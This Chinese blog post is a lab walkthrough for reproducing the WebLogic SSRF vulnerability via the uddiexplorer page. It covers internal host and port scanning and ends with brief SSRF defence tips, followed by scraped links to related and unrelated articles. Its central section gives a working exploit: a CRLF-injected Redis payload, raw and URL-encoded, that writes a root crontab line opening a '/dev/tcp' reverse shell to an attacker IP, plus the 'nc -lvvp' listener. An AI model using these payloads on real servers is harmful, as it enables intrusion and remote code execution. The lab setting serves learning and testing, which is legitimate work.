一、关于SSRF

1.1 简介:

  SSRF(Server-Side Request Forgery)服务端请求伪造,是一种由攻击者构造形成由服务器端发起请求的一个漏洞,一般情况下,SSRF 攻击的目标是从外网无法访问的内部系统。SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等。

1.2 利用SSRF能实现以下效果:

1)        扫描内网(主机信息收集,Web应用指纹识别)
2)        根据所识别应用发送构造的Payload进行攻击
3)        Denial of service(请求大文件,始终保持连接Keep-Alive Always)

4)      攻击运行在内外网主机的应用程序

5)      攻击内外网的 Web 应用,主要是使用 GET参数就可以实现的攻击

6)      利用file协议读取本地文件

1.3 可用协议:

FILE   : 读取服务器上任意文件内容

IMAP/IMAPS/POP3SMTP/SMTPS : 爆破邮件用户名密码

FTP/FTPS   : FTP匿名访问、爆破

DICT   :操作内网Redis等服务

GOPHER   :能够将所有操作转成数据流,并将数据流一次发出去,可以用来探测内网的所有服务的所有漏洞

TFTP : UDP协议扩展

  经常利用: file协议读取本地文件

          Gopher协议对内网系统进行post攻击

             通过dict协议读取目标服务器端口上运行的服务版本信息

二、SSRF漏洞复现

2.1 环境搭建:

进入 vulhub/weblogic/ssrf 目录下执行

Docker-compose build

Docker-compose up -d

搭建环境需要一些时间,可以继续往下看文章

搭建完成后,访问 http://你的ip:7001/uddiexplorer/SearchPublicRegistries.jsp

(漏洞存在于该页面)出现如下图页面即为搭建成功:

2.2 漏洞测试:

环境:需要一台和SSRF漏洞靶机同网段的主机来模拟内网环境,我用的是kali

SSRF靶机(CentOS7):192.168.124.128

内网主机(Kali):192.168.124.133

探测主机是否存活:

Payload :参数 operator 后输入想探测的IP

http://ip:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://192.168.124.133

出现如下图所示情况出现报错weblogic.uddi.client.structures.exception.XML_SoapException,且根据后面提示此主机存活只是无法连接80端口(即未开放80端口)

同理尝试探测不存在的IP : 提示变为了No route to host

  1. 访问一个可以访问的ip:port , 一般返回一个状态码,The server at http://ip:7001/ returned a 404 error code (Not Found) 如下图。这是探测本机

还尝试了探测kali上开放的一个端口,提示的是connect reset

之后尝试了nc -lvvp 8000 监听一个端口,发现如下图可以连接,但是weblogic页面一直处于响应中状态没有任何提示 。

也因此,根据这些特点可以进行内网的IP和端口扫描

三、 攻击redis服务器,并利用其反弹shell:

Weblogic的SSRF有一个比较大的特点,其虽然是一个“GET”请求,但是我们可以通过传入`%0a%0d`来注入换行符,而某些服务(如redis)是通过换行符来分隔每条命令,也就说我们可以通过该SSRF攻击内网中的redis服务器。

  1. 查看docker redis服务器的ip:port

Docker ps

Docker exec -it 容器ID ip addr

 查看是否可以与redis服务器通信

此报错说明redis服务器开放且可以通信

  1. 准备攻击代码 :
test

set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.124.133/1111 0>&1\n\n\n\n"

config set dir /etc/

config set dbfilename crontab

save

aaa

//此代码大致意思为使靶机向 192.168.124.133:1111的靶机反弹shell


代码里的ip和端口根据自己环境更改,最后将代码进行URL编码:


test%0d%0a%0d%0aset+1+%22%5cn%5cn%5cn%5cn*+*+*+*+*+root+bash+-i+%3e%26+%2fdev%2ftcp%2f192.168.124.133%2f1111+0%3e%261%5cn%5cn%5cn%5cn%22%0d%0aconfig+set+dir+%2fetc%2f%0d%0aconfig+set+dbfilename+crontab%0d%0asave%0d%0a%0d%0aaaa

 

反弹shell步骤:

① 攻击者kali : 192.168.124.133

   监听端口1111:nc -lvvp 1111

② 浏览器地址栏输入下面的攻击代码

http://SSRF靶机ip:端口/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://redis服务器ip:端口/+上面准备好的攻击代码。

比如我的就是:

http://192.168.124.128:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://172.18.0.2:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.124.133%2F2222%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa

反弹成功

这里比较奇怪的是,kali并不能直接ping通 redis服务器(172.18.0.2)但是redis服务器可以ping通kali (-l 参数指定源IP) 所以不知道这个连接是怎样搞起来的。

四、SSRF防御思路:

通常有以下5个思路:

1,过滤返回信息,验证远程服务器对请求的响应是比较容易的方法。如果web应用是去获取某一种类型的文件。那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。

2, 统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态。

3,限制请求的端口为http常用的端口,比如,80,443,8080,8090。

4,黑名单内网ip。避免应用被用来获取获取内网数据,攻击内网。

5,禁用不需要的协议。仅仅允许http和https请求。可以防止类似于file:///,gopher://,ftp:// 等引起的问题。

五、参考文章

SSRF漏洞利用扩展(file,gopher,dict协议):https://www.cnblogs.com/flokz/p/ssrf.html

Vulhub关于SSRF漏洞文档:https://github.com/vulhub/vulhub/tree/master/weblogic/ssrf

SSRF攻击实例:https://www.freebuf.com/articles/web/20407.html

Weblogic 漏洞浮现:https://www.jianshu.com/p/cc752eb8deca

weblogicSSRF漏洞复现的更多相关文章

  1. Weblogic-SSRF漏洞复现

    Weblogic-SSRF漏洞复现 一.SSRF概念 服务端请求伪造(Server-Side Request Forgery),是一种有攻击者构造形成有服务端发起请求的一个安全漏洞.一般情况下,SSR ...

  2. Weblogic-SSRF 漏洞复现

    0x01 环境搭建 我这里使用的是vulhub,它几乎包含了所有的漏洞环境.(建议安装在ubuntu上) 有需要的小伙伴来企鹅群自取. 安装好vulhub之后需要cd 到weblogic ssrf 目 ...

  3. 11.Weblogic-SSRF漏洞复现

    应为这一阵正好在学习SSRF漏洞,又苦于本人太菜没有挖到SSRF,只能复现... 先贴出很早之前央视网SSRF可窥探内网(Weblogic SSRF案例):https://www.secpulse.c ...

  4. ShadowBroker释放的NSA工具中Esteemaudit漏洞复现过程

    没有时间测试呢,朋友们都成功复现,放上网盘地址:https://github.com/x0rz/EQGRP 近日臭名昭著的方程式组织工具包再次被公开,TheShadowBrokers在steemit. ...

  5. 【S2-052】漏洞复现(CVE-2017-9805)

    一.漏洞描述 Struts2 的REST插件,如果带有XStream组件,那么在进行反序列化XML请求时,存在未对数据内容进行有效验证的安全隐患,可能发生远程命令执行. 二.受影响版本 Struts2 ...

  6. markdown反射型xss漏洞复现

    markdown xss漏洞复现 转载至橘子师傅:https://blog.orange.tw/2019/03/a-wormable-xss-on-hackmd.html 漏洞成因 最初是看到Hack ...

  7. WebLogic XMLDecoder反序列化漏洞复现

    WebLogic XMLDecoder反序列化漏洞复现 参考链接: https://bbs.ichunqiu.com/thread-31171-1-1.html git clone https://g ...

  8. Struts2-052 漏洞复现

    s2-052漏洞复现 参考链接: http://www.freebuf.com/vuls/147017.html http://www.freebuf.com/vuls/146718.html 漏洞描 ...

  9. Typecho反序列化导致前台 getshell 漏洞复现

    Typecho反序列化导致前台 getshell 漏洞复现 漏洞描述: Typecho是一款快速建博客的程序,外观简洁,应用广泛.这次的漏洞通过install.php安装程序页面的反序列化函数,造成了 ...

随机推荐

  1. 26 bash shell中的信号

    当没有任何捕获时,一个交互式 Bash Shell 会忽略 SIGTERM(发送到进程的 TERM 信号用于要求进程终止) 和 SIGQUIT(当用户要求进程执行 core dump 时,QUIT 信 ...

  2. ESP32智能配网笔记

    基于ESP-IDF4.1 #include <string.h> #include <stdlib.h> #include "freertos/FreeRTOS.h& ...

  3. HTML表单__表单元素属性

    看完"HTML表单__表单元素"那一节的同学会发现,同是input标签,type属性值不一样的时候,input类型完全不一样.type就是input的一个属性,除type之外,还有 ...

  4. 剖析:如何用 SwitchUI 5天写一个微信 —— 聊天界面篇

    前置资源 GitHub: SwiftUI-WeChatDemo 第零章:用 SwiftUI 五天组装一个微信 - wavky - 博客园 整体结构 UI 部分代码分布如上图所示,App 的主入口类为 ...

  5. [刘阳Java]_Spring入门_第1讲

    Spring框架在企业中的使用非常多,优势明显.所以学好Spring框架肯定不言而喻.今天我们给大家介绍Spring的入门 1. 对于初学者来说我们要学习Spring框架中的哪些技术,这个有必要了解一 ...

  6. MapReduce学习总结之简介

    执行步骤:1)准备Map处理的输入数据 2)Mapper处理 3)Shuffle 4)Reduce处理 5)结果输出 三.mapreduce核心概念: 1)split:交由MapReduce作业来处理 ...

  7. 一行代码让matplotlib图表变高大上

    1 简介 matplotlib作为Python生态中最流行的数据可视化框架,虽然功能非常强大,但默认样式比较简陋,想要制作具有简洁商务风格的图表往往需要编写众多的代码来调整各种参数. 而今天要为大家介 ...

  8. virtualbox结合nat和host-only设置固定ip的环境

    需求 平时在做一些实验或学习的时候,比如rocketmq.kafaka.zookeeper等,需要在虚拟机上创建几个虚拟机组成集群来做实验:一般有两个要求: 虚拟机能访问网络,需要下载安装东西 虚拟机 ...

  9. Qt开源作品38-无边框窗体方案(无抖动,支持win、linux、mac等系统,侧边半屏顶部全屏)

    一 前言 不知道各位程序员有没有遇到过这样一种困惑,好不容易在开源网站找到了类似的想要的项目代码,结果down下来一编译,我勒个去,几百个错误,根本没法用,熟悉的人还好可以直接阅读代码进行修改(有些只 ...

  10. UnitTest 用法

    功能 1.能组织多个用例去执行 2.提供丰富的断言方法 3.提供丰富的日志与测试结果 核心要素 1.TestCase 2.TestSuite 3.TextTestRunner 4.Fixture 用法 ...